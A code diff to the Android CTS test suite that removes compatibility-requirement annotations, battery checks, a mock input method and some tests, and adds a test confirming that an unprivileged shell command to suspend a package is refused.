--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -44,8 +44,6 @@
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
-import com.android.compatibility.common.util.CddTest;
-
/**
* Test to check non-modifiable themes have not been changed.
*/
@@ -148,7 +146,7 @@
super.tearDown();
}
- @CddTest(requirement="3.8.6/C-1-1,C-1-2")
+
public void testThemes() throws Exception {
if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV / automotive");
diff --git a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
index 9df2d5c..01b5d88 100644
--- a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
+++ b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
@@ -36,8 +36,6 @@
import com.android.tradefed.util.CommandStatus;
import com.android.tradefed.util.RunUtil;
-import com.android.compatibility.common.util.CddTest;
-
import java.io.File;
import java.io.FileNotFoundException;
import java.util.regex.Matcher;
@@ -131,7 +129,6 @@
* Check if adb serial number, USB serial number, ro.serialno, and android.os.Build.SERIAL
* all matches and meets the format requirement [a-zA-Z0-9]{6,20}
*/
- @CddTest(requirement="7.7.1/C-1-2")
@AppModeFull(reason = "serial can not be read by instant apps")
public void testUsbSerialReadOnDeviceMatches() throws Exception {
installApp(false);
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index 9c4f18b..8838492 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -116,7 +116,6 @@
public void setUp() throws Exception {
mContext = InstrumentationRegistry.getTargetContext();
mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- assumeTrue("Battery not present on device, abort setUp", hasBattery());
mAlarmScheduler = new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER);
mAlarmCount = new AtomicInteger(0);
updateAlarmManagerConstants();
@@ -254,9 +253,6 @@
@After
public void tearDown() throws Exception {
- if (!hasBattery()) {
- return;
- }
setPowerWhitelisted(false);
setBatteryCharging(true);
deleteAlarmManagerConstants();
@@ -337,10 +333,4 @@
interface Condition {
boolean isMet();
}
-
- /** Determine if device has battery and is supported AppStandby */
- private boolean hasBattery() throws Exception {
- final String batteryinfo = executeAndLog("dumpsys battery");
- return batteryinfo.contains("present: true");
- }
}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
index 9331b32..f1dca8b 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
@@ -32,7 +32,6 @@
import android.os.SystemClock;
import android.provider.Settings;
import android.util.Log;
-import android.content.res.Resources;
import com.android.compatibility.common.util.SystemUtil;
@@ -53,7 +52,6 @@
public static final int BATTERY_JOB_ID = BatteryConstraintTest.class.hashCode();
private JobInfo.Builder mBuilder;
- private int mLowBatteryWarningLevel = 15;
/**
* Record of the previous state of power save mode trigger level to reset it after the test
* finishes.
@@ -64,9 +62,6 @@
public void setUp() throws Exception {
super.setUp();
- mLowBatteryWarningLevel = Resources.getSystem().getInteger(
- Resources.getSystem().getIdentifier(
- "config_lowBatteryWarningLevel", "integer", "android"));
// Disable power save mode as some devices may turn off Android when power save mode is
// enabled, causing the test to fail.
mPreviousLowPowerTriggerLevel = Settings.Global.getInt(getContext().getContentResolver(),
@@ -95,16 +90,6 @@
}
}
- boolean hasBattery() throws Exception {
- Intent batteryInfo = getContext().registerReceiver(
- null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
- boolean present = batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true);
- if (!present) {
- Log.i(TAG, "Device doesn't have a battery.");
- }
- return present;
- }
-
void setBatteryState(boolean plugged, int level) throws Exception {
if (plugged) {
SystemUtil.runShellCommand(getInstrumentation(), "cmd battery set ac 1");
@@ -223,11 +208,6 @@
* not plugged in but has sufficient power.
*/
public void testBatteryNotLowConstraintExecutes_withoutPower() throws Exception {
- // "Without power" test case is valid only for devices with a battery.
- if (!hasBattery()) {
- return;
- }
-
setBatteryState(false, 100);
waitFor(2_000);
verifyChargingState(false);
@@ -252,11 +232,6 @@
* the device is not on power.
*/
public void testChargingConstraintFails() throws Exception {
- // "Without power" test case is valid only for devices with a battery.
- if (!hasBattery()) {
- return;
- }
-
setBatteryState(false, 100);
verifyChargingState(false);
@@ -296,18 +271,13 @@
* the battery level is critical and not on power.
*/
public void testBatteryNotLowConstraintFails_withoutPower() throws Exception {
- // "Without power" test case is valid only for devices with a battery.
- if (!hasBattery()) {
+ if(getInstrumentation().getContext().getPackageManager().hasSystemFeature(FEATURE_WATCH) &&
+ getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+ TWM_HARDWARE_FEATURE)) {
return;
}
- // Skip this test on products that do not support a low battery state
- if (mLowBatteryWarningLevel <= 0) {
- return;
- }
-
- setBatteryState(false, mLowBatteryWarningLevel);
-
+ setBatteryState(false, 5);
// setBatteryState() waited for the charging/not-charging state to formally settle,
// but battery level reporting lags behind that. wait a moment to let that happen
// before proceeding.
@@ -342,8 +312,8 @@
kTestEnvironment.awaitExecution());
// And check that the job is stopped if battery goes low again.
- setBatteryState(false, mLowBatteryWarningLevel);
- setBatteryState(false, mLowBatteryWarningLevel - 1);
+ setBatteryState(false, 5);
+ setBatteryState(false, 4);
waitFor(2_000);
verifyChargingState(false);
verifyBatteryNotLowState(false);
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
index c6694d4..a3e9343 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
@@ -192,29 +192,23 @@
assumeTrue("app standby not enabled", mAppStandbyEnabled);
enterFakeUnpluggedState();
- try {
- setTestPackageStandbyBucket(Bucket.NEVER);
- Thread.sleep(DEFAULT_WAIT_TIMEOUT);
- sendScheduleJobBroadcast(false);
- assertFalse("New job started in NEVER standby", awaitJobStart(3_000));
- } finally {
- resetFakeUnpluggedState();
- }
+ setTestPackageStandbyBucket(Bucket.NEVER);
+ Thread.sleep(DEFAULT_WAIT_TIMEOUT);
+ sendScheduleJobBroadcast(false);
+ assertFalse("New job started in NEVER standby", awaitJobStart(3_000));
+ resetFakeUnpluggedState();
}
@Test
public void testUidActiveBypassesStandby() throws Exception {
enterFakeUnpluggedState();
- try {
- setTestPackageStandbyBucket(Bucket.NEVER);
- tempWhitelistTestApp(6_000);
- Thread.sleep(DEFAULT_WAIT_TIMEOUT);
- sendScheduleJobBroadcast(false);
- assertTrue("New job in uid-active app failed to start in NEVER standby",
- awaitJobStart(4_000));
- } finally {
- resetFakeUnpluggedState();
- }
+ setTestPackageStandbyBucket(Bucket.NEVER);
+ tempWhitelistTestApp(6_000);
+ Thread.sleep(DEFAULT_WAIT_TIMEOUT);
+ sendScheduleJobBroadcast(false);
+ assertTrue("New job in uid-active app failed to start in NEVER standby",
+ awaitJobStart(4_000));
+ resetFakeUnpluggedState();
}
@After
diff --git a/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java b/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
index 8faee83..a64a900 100644
--- a/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
+++ b/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
@@ -25,8 +25,6 @@
import android.content.pm.PackageManager;
import android.test.AndroidTestCase;
-import com.android.compatibility.common.util.CddTest;
-
import com.android.cts.process.activity.NoSharePidActivity;
import com.android.cts.process.activity.SharePidActivity;
import com.android.cts.process.activity.SharePidSubActivity;
@@ -34,7 +32,6 @@
public class ProcessTest extends AndroidTestCase {
private final int WAIT_TIME = 2000;
- @CddTest(requirement="9.2/C-0-1")
public void testUid() throws Exception {
String enableApp = "com.android.cts.process.shareuidapp";
String disableApp = "com.android.cts.process.noshareuidapp";
@@ -49,7 +46,6 @@
assertNotSame(uid2, uid3);
}
- @CddTest(requirement="9.2/C-0-1")
public void testPid() throws Exception {
ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
String shareProcessName = mContext.getPackageName() + ":shareProcess";
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index 4c0284a..df61d25 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -30,38 +30,38 @@
<activity
android:label="@string/accessibility_end_to_end_test_activity"
android:name=".activities.AccessibilityEndToEndActivity"
- android:screenOrientation="locked"/>
+ android:screenOrientation="portrait"/>
<activity
android:label="@string/accessibility_query_window_test_activity"
android:name=".activities.AccessibilityWindowQueryActivity"
android:supportsPictureInPicture="true"
- android:screenOrientation="locked"/>
+ android:screenOrientation="portrait"/>
<activity
android:label="@string/accessibility_view_tree_reporting_test_activity"
android:name=".activities.AccessibilityViewTreeReportingActivity"
- android:screenOrientation="locked"/>
+ android:screenOrientation="portrait"/>
<activity
android:label="@string/accessibility_focus_and_input_focus_sync_test_activity"
android:name=".activities.AccessibilityFocusAndInputFocusSyncActivity"
- android:screenOrientation="locked"/>
+ android:screenOrientation="portrait"/>
<activity
android:label="@string/accessibility_text_traversal_test_activity"
android:name=".activities.AccessibilityTextTraversalActivity"
- android:screenOrientation="locked"/>
+ android:screenOrientation="portrait"/>
<activity android:label="Activity for testing window accessibility reporting"
android:name=".activities.AccessibilityWindowReportingActivity"
android:supportsPictureInPicture="true"
- android:screenOrientation="locked"/>
+ android:screenOrientation="portrait"/>
<activity
android:label="Full screen activity for gesture dispatch testing"
android:name=".AccessibilityGestureDispatchTest$GestureDispatchActivity"
- android:screenOrientation="locked" />
+ android:screenOrientation="portrait" />
<activity
android:label="@string/accessibility_soft_keyboard_modes_activity"
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 5390f5e..5718c21 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -67,14 +67,11 @@
import java.util.List;
import java.util.concurrent.TimeoutException;
-import com.android.compatibility.common.util.CddTest;
-
/**
* This class performs end-to-end testing of the accessibility feature by
* creating an {@link Activity} and poking around so {@link AccessibilityEvent}s
* are generated and their correct dispatch verified.
*/
-@CddTest(requirement="3.10/C-1-2,W-1-1")
public class AccessibilityEndToEndTest extends
AccessibilityActivityTestCase<AccessibilityEndToEndActivity> {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
index c6ec02e..f01251a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
@@ -27,13 +27,10 @@
import java.util.List;
-import com.android.compatibility.common.util.CddTest;
-
/**
* This test case is responsible to verify that the intent for launching
* accessibility settings has an activity that handles it.
*/
-@CddTest(requirement="3.10/C-1-3")
@Presubmit
public class AccessibilitySettingsTest extends AndroidTestCase {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
index 3b2e978..68ba092 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
@@ -72,8 +72,7 @@
return;
}
final int startingVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY);
- final int minVolume = mAudioManager.getStreamMinVolume(AudioManager.STREAM_ACCESSIBILITY);
- final int otherVolume = (startingVolume == minVolume) ? (minVolume + 1) : startingVolume - 1;
+ final int otherVolume = (startingVolume == 0) ? 1 : startingVolume - 1;
final InstrumentedAccessibilityService service = InstrumentedAccessibilityService
.enableService(mInstrumentation, InstrumentedAccessibilityService.class);
try {
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 90f00f3..4551792 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -49,7 +49,6 @@
import androidx.test.InstrumentationRegistry;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.SystemUtil;
public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
@@ -528,7 +527,6 @@
* Test that background check behaves correctly after a process is no longer foreground:
* first allowing a service to be started, then stopped by the system when idle.
*/
- @CddTest(requirement="3.5/C-0-7")
public void testBackgroundCheckStopsService() throws Exception {
final Parcel data = Parcel.obtain();
ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent,
@@ -1120,10 +1118,6 @@
appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_CANT_SAVE_STATE-1,
WAIT_TIME);
uidBackgroundListener.register();
- UidImportanceListener uidCachedListener = new UidImportanceListener(mContext,
- appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_CANT_SAVE_STATE + 1,
- WAIT_TIME);
- uidCachedListener.register();
WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid,
WAIT_TIME);
@@ -1197,7 +1191,7 @@
am.getPackageImportance(CANT_SAVE_STATE_1_PACKAGE_NAME));
uidWatcher.expect(WatchUidRunner.CMD_CACHED, null);
- uidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
// While in background, should go in to normal idle state.
// Force app to go idle now
@@ -1209,7 +1203,6 @@
uidWatcher.finish();
uidForegroundListener.unregister();
uidBackgroundListener.unregister();
- uidCachedListener.unregister();
}
}
@@ -1354,7 +1347,7 @@
getInstrumentation().getUiAutomation().performGlobalAction(
AccessibilityService.GLOBAL_ACTION_BACK);
uid1Watcher.expect(WatchUidRunner.CMD_CACHED, null);
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
+ uid1Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
// Make both apps idle for cleanliness.
cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 76e576a..a95f765 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -58,9 +58,11 @@
import junit.framework.Assert;
+import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
+import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
@@ -470,6 +472,38 @@
}
}
+ public void testSuspendPackage_withoutShellPermission() throws Exception {
+ if (mActivityManager.isLowRamDevice() && !mPackageManager.hasSystemFeature(FEATURE_WATCH)) {
+ return;
+ }
+
+ try {
+ Process proc = Runtime.getRuntime().exec("cmd notification suspend_package "
+ + mContext.getPackageName());
+
+ // read output of command
+ BufferedReader reader =
+ new BufferedReader(new InputStreamReader(proc.getInputStream()));
+ StringBuilder output = new StringBuilder();
+ String line = reader.readLine();
+ while (line != null) {
+ output.append(line);
+ line = reader.readLine();
+ }
+ reader.close();
+ final String outputString = output.toString();
+
+ proc.waitFor();
+
+ // check that the output string had an error / disallowed call since it didn't have
+ // shell permission to suspend the package
+ assertTrue(outputString.contains("Error"));
+ assertTrue(outputString.contains("Disallowed call"));
+ } catch (InterruptedException e) {
+ fail("Unsuccessful shell command");
+ }
+ }
+
public void testSuspendPackage() throws Exception {
if (mActivityManager.isLowRamDevice() && !mPackageManager.hasSystemFeature(FEATURE_WATCH)) {
return;
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 0b4f4fb..6c25a2dc 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -44,13 +44,11 @@
import androidx.test.InstrumentationRegistry;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.IBinderParcelable;
import com.android.compatibility.common.util.SystemUtil;
import java.util.List;
-@CddTest(requirement="3.5/C-0-2")
public class ServiceTest extends ActivityTestsBase {
private static final String TAG = "ServiceTest";
private static final String NOTIFICATION_CHANNEL_ID = TAG;
diff --git a/tests/app/src/android/app/cts/SystemFeaturesTest.java b/tests/app/src/android/app/cts/SystemFeaturesTest.java
index 6dc1df7..6d22063 100644
--- a/tests/app/src/android/app/cts/SystemFeaturesTest.java
+++ b/tests/app/src/android/app/cts/SystemFeaturesTest.java
@@ -43,7 +43,6 @@
import android.telephony.TelephonyManager;
import android.test.InstrumentationTestCase;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.PropertyUtil;
import java.lang.reflect.Field;
@@ -294,7 +293,6 @@
}
}
- @CddTest(requirement="7.4.4/C-1-1,C-2-1")
public void testNfcFeatures() {
if (NfcAdapter.getDefaultAdapter(mContext) != null) {
// Watches MAY support all FEATURE_NFC features when an NfcAdapter is available, but
@@ -503,7 +501,6 @@
// TODO: Add tests for the other touchscreen features.
}
- @CddTest(requirement="7.7.2/C-2-1")
public void testUsbAccessory() {
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) &&
!mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK) &&
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index 0f49281..38d8cad 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -47,8 +47,6 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.CddTest;
-
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
@@ -103,52 +101,6 @@
}
@Test
- public void setBitmapTest_1x1Pixel() {
- ensureCleanState();
-
- Bitmap tmpWallpaper = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
- Canvas canvas = new Canvas(tmpWallpaper);
- canvas.drawColor(Color.RED);
-
- try {
- int which = WallpaperManager.FLAG_SYSTEM;
- int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
- mWallpaperManager.suggestDesiredDimensions(tmpWallpaper.getWidth(),
- tmpWallpaper.getHeight());
- mWallpaperManager.setBitmap(tmpWallpaper);
- int newWallpaperId = mWallpaperManager.getWallpaperId(which);
- Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
- } catch (IOException e) {
- throw new RuntimeException(e);
- } finally {
- tmpWallpaper.recycle();
- }
- }
-
- @Test
- public void setBitmapTest_1x1Pixel_FullscreenDesired() {
- ensureCleanState();
-
- Bitmap tmpWallpaper = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
- Canvas canvas = new Canvas(tmpWallpaper);
- canvas.drawColor(Color.RED);
-
- try {
- int which = WallpaperManager.FLAG_SYSTEM;
- int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
- final Point displaySize = getScreenSize();
- mWallpaperManager.suggestDesiredDimensions(displaySize.x, displaySize.y);
- mWallpaperManager.setBitmap(tmpWallpaper);
- int newWallpaperId = mWallpaperManager.getWallpaperId(which);
- Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
- } catch (IOException e) {
- throw new RuntimeException(e);
- } finally {
- tmpWallpaper.recycle();
- }
- }
-
- @Test
public void setResourceTest() {
try {
int which = WallpaperManager.FLAG_SYSTEM;
@@ -161,7 +113,6 @@
}
}
- @CddTest(requirement="3.2.3.4/C-0-1")
@Test
public void wallpaperChangedBroadcastTest() {
Bitmap tmpWallpaper = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index c2bb5b03..bcfc2c8 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -140,24 +140,6 @@
<action android:name="android.service.autofill.AutofillService" />
</intent-filter>
</service>
-
- <!-- Mock IME -->
- <service
- android:name="com.android.cts.mockime.MockIme"
- android:label="Mock IME"
- android:permission="android.permission.BIND_INPUT_METHOD">
- <intent-filter>
- <action android:name="android.view.InputMethod" />
- </intent-filter>
- <meta-data
- android:name="android.view.im"
- android:resource="@xml/method" />
- </service>
- <provider
- android:authorities="com.android.cts.mockime.provider"
- android:name="com.android.cts.mockime.SettingsProvider">
- </provider>
-
</application>
<instrumentation
diff --git a/tests/autofillservice/res/xml/method.xml b/tests/autofillservice/res/xml/method.xml
deleted file mode 100644
index 7f8b13a..0000000
--- a/tests/autofillservice/res/xml/method.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2019 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<input-method xmlns:android="http://schemas.android.com/apk/res/android">
-</input-method>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 8ea2c14..7eb8bcf 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -35,7 +35,6 @@
import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.RequiredFeatureRule;
-import com.android.cts.mockime.MockImeSessionRule;
import org.junit.After;
import org.junit.Before;
@@ -77,10 +76,6 @@
}
};
- @ClassRule
- public static final MockImeSessionRule sMockImeSessionRule =
- new MockImeSessionRule(/* ignoreInitException= */ true);
-
@Rule
public final RetryRule mRetryRule = new RetryRule(2);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
index 02b2e13..f5a4f89 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
@@ -71,13 +71,28 @@
public final void testTapLink_changeOrientationThenTapBack() throws Exception {
assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
+ final int width = mUiBot.getDevice().getDisplayWidth();
+ final int heigth = mUiBot.getDevice().getDisplayHeight();
+ final int min = Math.min(width, heigth);
+
+ assumeTrue("Screen size is too small (" + width + "x" + heigth + ")", min >= 500);
+ Log.d(TAG, "testTapLink_changeOrientationThenTapBack(): screen size is "
+ + width + "x" + heigth);
+
mUiBot.setScreenOrientation(UiBot.PORTRAIT);
try {
+ runShellCommand("wm size 1080x1920");
+ runShellCommand("wm density 320");
saveUiRestoredAfterTappingLinkTest(
PostSaveLinkTappedAction.ROTATE_THEN_TAP_BACK_BUTTON);
} finally {
mUiBot.setScreenOrientation(UiBot.PORTRAIT);
- cleanUpAfterScreenOrientationIsBackToPortrait();
+ try {
+ cleanUpAfterScreenOrientationIsBackToPortrait();
+ } finally {
+ runShellCommand("wm density reset");
+ runShellCommand("wm size reset");
+ }
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
index 87b0ff7..81b3fa2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
@@ -19,21 +19,9 @@
import static android.autofillservice.cts.Helper.ID_USERNAME;
import static android.autofillservice.cts.common.ShellHelper.runShellCommand;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
-
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.content.IntentSender;
-import android.os.Process;
import android.platform.test.annotations.AppModeFull;
-import android.view.KeyEvent;
-import android.view.View;
-
-import com.android.cts.mockime.ImeCommand;
-import com.android.cts.mockime.ImeEventStream;
-import com.android.cts.mockime.MockImeSession;
import org.junit.AfterClass;
import org.junit.BeforeClass;
@@ -43,8 +31,6 @@
public class DatasetFilteringTest extends AbstractLoginActivityTestCase {
- private static final long MOCK_IME_TIMEOUT_MS = 5_000;
-
private static String sMaxDatasets;
@BeforeClass
@@ -122,7 +108,7 @@
}
@Test
- public void testFilter_ejectingEvents() throws Exception {
+ public void testFilter_usingKeyboard() throws Exception {
final String aa = "Two A's";
final String ab = "A and B";
final String b = "Only B";
@@ -179,74 +165,6 @@
@Test
@AppModeFull // testFilter() is enough to test ephemeral apps support
- public void testFilter_usingKeyboard() throws Exception {
- final String aa = "Two A's";
- final String ab = "A and B";
- final String b = "Only B";
-
- final MockImeSession mockImeSession = sMockImeSessionRule.getMockImeSession();
-
- enableService();
-
- // Set expectations.
- sReplier.addResponse(new CannedFillResponse.Builder()
- .addDataset(new CannedDataset.Builder()
- .setField(ID_USERNAME, "aa")
- .setPresentation(createPresentation(aa))
- .build())
- .addDataset(new CannedDataset.Builder()
- .setField(ID_USERNAME, "ab")
- .setPresentation(createPresentation(ab))
- .build())
- .addDataset(new CannedDataset.Builder()
- .setField(ID_USERNAME, "b")
- .setPresentation(createPresentation(b))
- .build())
- .build());
-
- final ImeEventStream stream = mockImeSession.openEventStream();
-
- // Trigger auto-fill.
- mActivity.onUsername(View::requestFocus);
-
- // Wait until the MockIme gets bound to the TestActivity.
- expectBindInput(stream, Process.myPid(), MOCK_IME_TIMEOUT_MS);
- expectEvent(stream, editorMatcher("onStartInput", mActivity.getUsername().getId()),
- MOCK_IME_TIMEOUT_MS);
-
- sReplier.getNextFillRequest();
-
- // With no filter text all datasets should be shown
- mUiBot.assertDatasets(aa, ab, b);
-
- // Only two datasets start with 'a'
- final ImeCommand cmd1 = mockImeSession.callCommitText("a", 1);
- expectCommand(stream, cmd1, MOCK_IME_TIMEOUT_MS);
- mUiBot.assertDatasets(aa, ab);
-
- // Only one dataset start with 'aa'
- final ImeCommand cmd2 = mockImeSession.callCommitText("a", 1);
- expectCommand(stream, cmd2, MOCK_IME_TIMEOUT_MS);
- mUiBot.assertDatasets(aa);
-
- // Only two datasets start with 'a'
- sendKeyEvents("KEYCODE_DEL"); // TODO: add new method on MockIme for it
- mUiBot.assertDatasets(aa, ab);
-
- // With no filter text all datasets should be shown
- sendKeyEvents("KEYCODE_DEL"); // TODO: add new method on MockIme for it
- mUiBot.assertDatasets(aa, ab, b);
-
- // No dataset start with 'aaa'
- final MyAutofillCallback callback = mActivity.registerCallback();
- final ImeCommand cmd5 = mockImeSession.callCommitText("aaa", 1);
- expectCommand(stream, cmd5, MOCK_IME_TIMEOUT_MS);
- callback.assertUiHiddenEvent(mActivity.getUsername());
- mUiBot.assertNoDatasets();
- }
-
- @Test
- @AppModeFull // testFilter() is enough to test ephemeral apps support
public void testFilter_nullValuesAlwaysMatched() throws Exception {
final String aa = "Two A's";
final String ab = "A and B";
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 3120072..c28909a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -803,20 +803,7 @@
* Checks if screen orientation can be changed.
*/
public static boolean isRotationSupported(Context context) {
- final PackageManager packageManager = context.getPackageManager();
- if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
- Log.v(TAG, "isRotationSupported(): is auto");
- return false;
- }
- if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
- Log.v(TAG, "isRotationSupported(): has leanback feature");
- return false;
- }
- if (packageManager.hasSystemFeature(PackageManager.FEATURE_PC)) {
- Log.v(TAG, "isRotationSupported(): is PC");
- return false;
- }
- return true;
+ return !context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
}
/**
